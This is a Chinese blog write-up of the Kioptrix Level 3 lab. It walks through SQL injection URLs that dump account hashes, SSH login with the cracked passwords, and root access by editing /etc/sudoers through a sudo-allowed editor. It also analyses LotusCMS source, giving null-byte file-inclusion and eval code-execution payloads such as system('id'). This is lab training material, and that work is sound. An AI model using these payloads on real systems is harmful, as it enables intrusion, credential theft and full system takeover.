前言
这次练习的靶机是vulnhub平台下KiptrixVM3,下载地址为https://www.vulnhub.com/entry/kioptrix-level-12-3,24/。该靶机漏洞较多,获取shell的方法多种多样。相对来说比较简单的一种方法就是通过SQL注入获取账号和密码,然后用这些账号密码尝试ssh登陆靶机,本次对靶机的渗透采用的就是SQL注入的方法。SQL注入的原理比较简单,这里就不做过多的介绍,我会在后面重点分析文件包含和远程代码执行漏洞。
该靶机导入VMware不会分配到IP地址,因为该靶机网络配置是VirtualBox中配置好的。如果你用的正好是VMware虚拟机,你就要手动修改一下网络配置文件。修改方法在我之前的博客中已经讲解:https://blog.csdn.net/rpsate/article/details/119494515#t2
收集信息
arp-scan -l
arp-scan 该工具是使用ARP协议进行扫描,ARP协议扫描速度快,而且不会被防火墙拦截,但是只能扫描同一网段内的目标。
-l 该参数代表从本地网络配置文件中读取IP与掩码,通过IP地址和掩码生成扫描目标地址列表,即本机同网段地址。
通过扫描发现靶机的Ip地址为192.168.119.179
,然后对靶机进一步扫描。
nmap -A -sV -p- 192.168.119.179
-A 代表综合性扫描,能收集很多重要的信息。
-sV 代表扫描主要的服务信息。
-p- 参数p是指定端口,后面的
-
代表所有端口。
开放了80端口与22端口,22端口可以尝试暴力破解,但是直接爆破的成功率不大。从80端口的web端开始渗透成功的可能性大很多。下面就用浏览器打开该网站。
发现了该网站是使用的CMS是lotusCMS
,接下来可以搜索一下该CMS的漏洞,你会很快找到该靶机的突破口。我们在看看有没有其他的漏洞,还是重点关注可以交互数据的地方。
SQL注入
通过寻找并多次测试,在下面这个页面发现了一句SQL查询语句,这个作者太有意思了,作者竟然这么明显的提示我们这里有SQL注入!
gallery/gallery.php?id=1
在左下角选择框里可以选择Photo Id,然后再URL栏就会出现一个Id的参数,该处就是SQL注入点了。我们可以在此参数中加一个单引号使其报错来验证该处存在SQL注入。
经过多次测试,SQL注入联合插线的语句如下,该语句可以查出当前使用的数据库名称。
http://kioptrix3.com/gallery/gallery.php?id=1 union select null,null,database(),null,null,null-- -&sort=photoid#photos
注意:select查询需要六个列,查询数据放在第一个列则数据不会完全显示,联合因为这要与前面的SQL语句对应。
如果看不懂SQL注入的代码,建议先学习SQL语句并完成sql-lab靶场。
下面查询一下gallery
中库中有哪一些表。
http://kioptrix3.com/gallery/gallery.php?id=1 union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema='gallery'),null,null,null-- -&sort=photoid#photos
一共查出了七个表,重点查询具有账号的表dev_accounts
和gallarific_users
。
首先查询一下该表dev_accounts中有哪些列名,另一个表的查询方法类似。
http://kioptrix3.com/gallery/gallery.php?id=1 union select null,null,(select group_concat(column_name) from information_schema.columns where table_name='dev_accounts'),null,null,null-- -&sort=photoid#photos
发现了用户名与密码列,这个应该就是我们要找的表了,查询一下该该表中的详细信息。
http://kioptrix3.com/gallery/gallery.php?id=1 union select null,null,(select group_concat(username,'~',password) from gallery.dev_accounts),null,null,null-- -&sort=photoid#photos
查询到了两个账号和它们对应密码的MD5加密密文:dregs:0d3eccfb887aabd50f243b3f155c0f85和loneferret:5badcaf789d3d1d09794d8f021f40f0e。应为该密码比较简单,所以在解密网站上可以迅速破译出该密文:dregs:Mast3r
,loneferret:starwars
。
SSH登陆并提权
尝试使用刚刚破解的账号密码登陆ssh,经过测试发现loneferret:starwars
是可以登陆ssh。
ssh loneferret@192.168.119.179
获取shell之后要做的就是提权,常见的提权方法有suid提权,sudo提权,内核提权。尝试一下这几种方法:
sudo -l
其中!/usr/bin/su执行不了,没有这个文件,也不能创建这个文件,因为权限不足。但是/usr/local/bin/ht是可以执行的,这是一个编辑器,而且是一个可以以root权限运行的编辑器。所以我们可以用这个编辑器修改/usr/passwd
或/etc/sudoers
文件来提权。修改/usr/passwd的方式在前面的博客中已经讲过两次了,这次就来尝试一下修改/etc/sudoers文件来提权。
当用户执行sudo命令时,系统会到/etc/sudoers文件中寻找相关信息来判断该用户是否具有执行sudo的权限,所以我们修改sudoers文件,试用户loneferret具有使用sudo执行/bin/bash的权限,以达到提权的目的。
sudo /usr/local/bin/ht
按F3,然后输入/etc/sudoers打开该配置文件,看一看root用户的配置,依葫芦画瓢。
ALL=(ALL) ALL,其中三个ALL的含义不同,其含义如下:
其中第一个ALL代表允许所有主机来源执行sudo,例如只允许该用户在本地执行sudo可以将ALL改成localhost。
第二种ALL代表该用户可以用任何用户的身份执行sudo。
第三个ALL代表该用户可以执行任何命令
有一些文件中会这么写:ALL=(ALL:ALL) ALL,括号中第二个ALL代表任何用户组。
修改完成后按F2保存,然后按ctrl+c退出,然后以root权限执行/bin/bash即可提权。
sudo /bin/bash
提权成功!但是到这里还没有结束,因为该靶机中还有一些值得研究的漏洞没有探索,接下来我们将详细学习另外几个漏洞。
文件包含漏洞分析
如果要手动找到这个漏洞是比较困难的,但是用漏洞扫描器很快就可以找到这个漏洞 ,其利用地址如下:
http://192.168.119.179/index.php?system=../../../../../etc/passwd%00a
要注意的是在文件名后需要加上
%00
来阶段后面的字符,并且在%00后面须有加上任意字符,如果%00后面没有字符的话,%00也将会在提交时被忽略掉。这个就叫00阶段,在文件上传中也经常用到。
下面我们来分析一下这个个漏洞,查看index.php的源码,发现其主要功能是在core/lib/router.php中。
<?php
/**
*
* GPL v4
* LotusCMS 2010.
*
* Written by Kevin Bluett
*
*/
//Start the session.
session_start();
//Failsafe to install
if(file_exists("install.php")){
header("Location: install.php");
}
//Load up the routing system
require("core/lib/router.php");
//Route the page request to the specified system, eg. Page retrieval, administration or essentially anything.
new Router();
?>
继续查看core/lib/router.php的源码:
<?php
/**
* GPL v4
* LotusCMS 2010.
* Written by Kevin Bluett
* This Class routes any request from an external source into the LotusCMS systems.
*/
class Router{
/**
* This routes any request from get variables into the LotusCMS system.
*/
public function Router(){
//Get page request (if any)
$page = $this->getInputString("page", "index");
//Get plugin request (if any)
$plugin = $this->getInputString("system", "Page");
//If there is a request for a plugin
if(file_exists("core/plugs/".$plugin."Starter.php")){
//Include Page fetcher
include("core/plugs/".$plugin."Starter.php");
//Fetch the page and get over loading cache etc...
//die("new ".$plugin."Starter('".$page."');");
eval("new ".$plugin."Starter('".$page."');");
}else if(file_exists("data/modules/".$plugin."/starter.dat")){
//Include Module Fetching System
include("core/lib/ModuleLoader.php");
//Load Module
new ModuleLoader($plugin, $this->getInputString("page", null));
}else{ //Otherwise load a page from the standard system.
//Include Page fetcher
include("core/plugs/PageStarter.php");
//Fetch the page and get over loading cache etc...
new PageStarter($page);
}
}
/**
* Returns a global variable
*/
protected function getInputString($name, $default_value = "", $format = "GPCS")
{
//order of retrieve default GPCS (get, post, cookie, session);
$format_defines = array (
'G'=>'_GET',
'P'=>'_POST',
'C'=>'_COOKIE',
'S'=>'_SESSION',
'R'=>'_REQUEST',
'F'=>'_FILES',
);
preg_match_all("/[G|P|C|S|R|F]/", $format, $matches); //splitting to globals order
foreach ($matches[0] as $k=>$glb)
{
if ( isset ($GLOBALS[$format_defines[$glb]][$name]))
{
return htmlentities ( trim ( $GLOBALS[$format_defines[$glb]][$name] ) , ENT_NOQUOTES ) ;
}
}
return $default_value;
}
}
?>
该文件一开始就会执行 getInputString($name, $default_value = "", $format = "GPCS")
函数,该函数在文件的47到67行,其主要功能是获取参数$name
的值,其获取的方式按顺序为GET,POST,COOKIE,SESSION,如果能通过其中的一种方式获取到该参数的值,那么就不会尝试后面的方法。如果这四种方法都没有获取到值则返回默认值$default_value
。
例如文件中的
$this->getInputString("page", "index")
,该函数尝试获取$_GET['page']
的值,如果没有则尝试获取$_POST['page']
的值,依此类推,如果所有方式都没有获取到值,则返回第二个参数index
。
在知道了这个函数的作用后,继续查看代码中哪里的文件引用参数可控,在第24行发现如下代码:
include("core/plugs/".$plugin."Starter.php");
该语句的作用是引用文件,其中$plugin
可控,然后再查看如何改变$plugin
的值,在该文件的18行发现如下代码:
$plugin = $this->getInputString("system", "Page");
变量$plugin
的值是由getInputStrings()函数控制,我们在前面已经分析了该函数,该函数的返回值可以通过GET提交数据来改变,也就是我们通过GET的方式提交system参数即可改变$plugin
的值,例如下面URL:
http://192.168.119.179/index.php?system=../../../../../etc/passwd
在访问该URL后,文件引用为 core/plugs/../../../../../etc/passwdStarter.php
。很明显引用的文件发生改变了,但是passwdStarter.php是不存在的,我们需要想办法让后面的字符Starter.php去掉,这时候就需要用到00截断了。
因为%00是结束的标志,当php读取到该标志时就会认为该字符串结束,后面的数据就会被直接忽略。
00截断利用条件:PHP<5.3.29,magic_quotes_gpc为OFF状态。
所以访问如下URL就会成功读取系统文件。
http://192.168.119.179/index.php?system=../../../../../etc/passwd%00a
远程代码执行漏洞分析
该漏洞与文件包含漏洞出现在同一个文件中,我们继续看core/lib/router.php中的代码,看到22到29行:
if(file_exists("core/plugs/".$plugin."Starter.php")){
//Include Page fetcher
include("core/plugs/".$plugin."Starter.php");
//Fetch the page and get over loading cache etc...
eval("new ".$plugin."Starter('".$page."');");
}
其中eval()函数就是执行代码的函数,其中$plugin
和$page
可控。但在在22行中$plugin
作为入口条件参数,只有让文件"core/plugs/".$plugin."Starter.php"
存在才会执行eval()函数,所以我们只可以修改$page
来执行命令。$page
和$plugin
一样,都可以通过GET的方式来改变。输入如下URL:
http://192.168.119.179/index.php?page='.phpinfo().'
提交如上URL后,$page就会等于'.phpinfo().'
,所以eval()执行的代码如下:
new PageStarter(''.phpinfo().'');
因为$plugin没有执行,所以默认为Page,所以执行的就是PageStarter()。
该语句会首先执行phpinfo()然后与前后的’'拼接,然后再执行new PageStarter(拼接后的内容),这样就导致了我们可以通过修改page参数来执行任意命令。我们还可以执行系统命令:
http://192.168.119.179/index.php?page='.system('id').'
总结
分析到此结束了,大家可以动手尝试利用这两个漏洞。通过远程代码执行可以获取shell,然后通过查看配置文件获取数据库的账号密码。此靶机中文件包含漏洞不能包含日志文件,所以不能通过包含日志文件来获取shell,但是可以将此网站部署到自己的网站环境中尝试获取shell。
参考文献
[1] http://chenall.net/post/linux-sudo-config/,linux sudo 命令和配置文件/etc/sudoers介绍
[2] https://blog.csdn.net/weixin_39620653/article/details/115144656,php 00截断,00截断之追本溯源
[3] https://blog.csdn.net/heli200482128/article/details/77833881,sudo配置文件/etc/sudoers详解及实战用法